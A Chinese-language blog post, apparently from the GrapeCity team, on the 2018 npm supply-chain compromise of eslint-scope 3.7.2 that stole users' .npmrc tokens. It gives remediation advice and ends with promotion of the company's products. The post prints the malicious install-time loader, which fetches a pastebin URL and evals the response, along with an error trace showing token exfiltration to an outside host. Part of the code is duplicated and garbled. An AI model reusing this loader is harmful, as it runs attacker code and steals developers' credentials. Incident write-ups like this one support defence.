2018年7月12日,全球最大的面向开源及私有软件项目的托管平台GitHub对外宣称,一名黑客入侵了ESLint ,并利用Npm账户发布了包含了恶意软件的版本3.7.2,用户在安装时,恶意代码将会自动执行,访问某个网站同时会把用户的.npmrc文件的内容发送给黑客自己,而在.npmrc文件中一般包含发布到NPM的访问令牌。

图片描述

恶意程序包的版本是eslint-scope@3.7.2和eslint-config-eslint@5.0.2,目前npm已经撤销在2018-07-12 12:30 UTC之前发出的所有访问令牌,以及下架了受影响的包,因此,受此攻击影响的所有访问令牌都不再可用。用户应彻底删除对应版本的包及重新获取访问令牌。
经技术人员分析,如果出现以下错误信息,说明您的账户安全存在潜在风险:

[2/3] ⠠ eslint-scope
error /Users/pronebird/Desktop/electron-react-redux-boilerplate/node_modules/eslint-scope: Command failed.
Exit code: 1
Command: node ./lib/build.js
Arguments: 
Directory: /Users/pronebird/Desktop/electron-react-redux-boilerplate/node_modules/eslint-scope
Output:
undefined:30
      https1.get({hostname:'sstatic1.histats.com',path:'/0.gif?4103075&101',method:'GET',headers:{Referer:'http://1.a/'+conten
                                                                                                                        ^^^^^^

SyntaxError: Unexpected end of input
    at IncomingMessage.r.on (/Users/pronebird/Desktop/electron-react-redux-boilerplate/node_modules/eslint-scope/lib/build.js:6:10)
    at emitOne (events.js:116:13)
    at IncomingMessage.emit (events.js:211:7)
    at IncomingMessage.Readable.read (_stream_readable.js:475:10)
    at flow (_stream_readable.js:846:34)
    at resume_ (_stream_readable.js:828:3)
at _combinedTickCallback (internal/process/next_tick.js:138:11)

下面这段代码尝试加载一个地址为http://pastebin.com/raw/XLeVP82h 的URL。
同时,也试图发送用户的.npmrc向某个未知地方。

    try{
        var https=require('https');
        https.get({'hostname':'pastebin.com',path:'/raw/XLeVP82h',headers:{'User-Agent':'Mozilla/5.0 (Windows NT 6.1; rv:52.0) Gecko/20100101 Firefox/52.0',Accept:'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8'}},(r)=>{
        r.setEncoding('utf8');
        r.on('data',(c)=>{
        eval(c);
        });
        r.on('error',()=>{});
        
        }).on('error',()=>{});
        }catch(e){}
         eval(c);
        });
        r。on(' error ',()=> {});
        
        })。on(' error ',()=> {});
        } catch(e){}

如果您已经通过GitHub引用了这段有毒代码,请立即采取以下措施:

  1. 引脚的版本eslint-scope来3.7.1,一种办法是添加resolutions到您的package.json

           "resolutions": {
               "eslint-scope": "3.7.1"   }
    验证依赖版本yarn list eslint-scope。它应该打印出来eslint-scope@3.7.1
  2. 如果可能,请使用package-lock.json或yarn.lock将其存放在您的仓库中。即使yarn outdated显示有新版本可用,也不要升级到3.7.2 。
  3. 撤销您的NPM令牌。您可以登录https://www.npmjs.com/,从帐户下拉列表中选择“令牌”菜单并删除页面上列出的所有令牌。如果将NPM挂钩到外部服务,请确保重新创建相关令牌。

以下内容摘自GitHub官网:

Please see the following issue:
eslint/eslint-scope#39
eslint-scope 3.7.2 has been published an hour ago which is a hacked version that steals the NPM accounts or something.
Please pull the version 3.7.2 from the npm and freeze the account so this does not get propagated.
As a matter of fact, there is no release tag for 3.7.2 on Github, so I think it would be great to consider double checking with Github repository before publishing any code.
This would at least limit the possibility of uploading the malicious code to NPM without having Github credentials to tag the release/version.
Additionally I believe it's possible to check if the release was signed and somehow enforce all tagged commits to be signed. I think Github returns such information via their API, at least you can see the verified commits via Github's web interface so there must be a way. Developer may be able to opt-in for this extra security via some .rc file stored in Git repo.

该段大意为:

“eslint-scope 3.7.2已在一小时前发布,这是一个黑客版本,窃取NPM帐户或其他东西。
请从npm中提取版本3.7.2并冻结帐户,这样就不会传播。
事实上,在Github上没有3.7.2的发布标签,所以我认为在发布任何代码之前考虑使用Github存储库进行双重检查会很棒。
这至少会限制将恶意代码上传到NPM的可能性,而无需使用Github凭据来标记版本/版本。
此外,我相信可以检查发布是否已签名,并以某种方式强制执行所有标记的提交以进行签名。我认为Github通过他们的API返回这些信息,至少你可以通过Github的web界面看到经过验证的提交,所以必须有办法。开发人员可以通过.rc存储在Git仓库中的某些文件来选择加入这种额外的安全性。”

信息共享是件好事,但用户信息的安全性却不容忽视。据称,本次事件发生的主要原因是,npm维护者的账户遭到了黑客盗用,这个维护者在其他站点上也重复使用了他们的npm密码,并且他们也没有在他们npm账户上开启双重身份验证,所以才导致此类事件的发生。

对于这种情况的发生,ESLint团队深表遗憾。同时也希望其他软件包维护者可以从这次事件中吸取经验教训并共同提高整个npm生态系统的安全。

作为从事控件开发20余年,深谙用户数据安全重要性的葡萄城官方为npm软件包维护者和用户提供一些建议:

  • 软件包维护者和用户应当避免在多个不同的站点上重复使用相同的密码。像1Password或LastPass这样的密码管理器可以帮助解决这个问题。
  • 包维护者应该开启npm双重身份验证npm 在这里有一个教程
  • 如果您在使用Lerna,则可以按照此教程进行操作。
  • 软件包维护者应审核并限制有权在npm上发布的人数。
  • 软件包维护者应当谨慎使用任何自动合并依赖项升级的服务,或者尽量使用基于HTML5的零依赖纯前端软件,比如SpreadJSWijmoJS
  • 应用程序开发人员应使用锁文件(package-lock.json或yarn.lock)来阻止软件包自动更新以避免这种损失的再次发生。

随着互联网技术的发展,黑客入侵已经向着规模化,全球化的程度迈进。仅2018年初,就已经出现了数十起足以引起国际重视的网络信息安全事件。本次黑客入侵不是开源社区安全事件的第一起,也不会是最后一起,如何杜绝网络安全隐患,是每个开发人员必须面对的头等大事。除了做好自身安全防护外,选择使用一整套成熟的商业软件,如葡萄城的活字格SpreadJSActiveReports等也是一个不错的选择。


葡萄城技术团队
2.7k 声望29.1k 粉丝

葡萄城是专业的软件开发技术和低代码平台提供商,聚焦软件开发技术,以“赋能开发者”为使命,致力于通过表格控件、低代码和BI等各类软件开发工具和服务,一站式满足开发者需求,帮助企业提升开发效率并创新开发模式。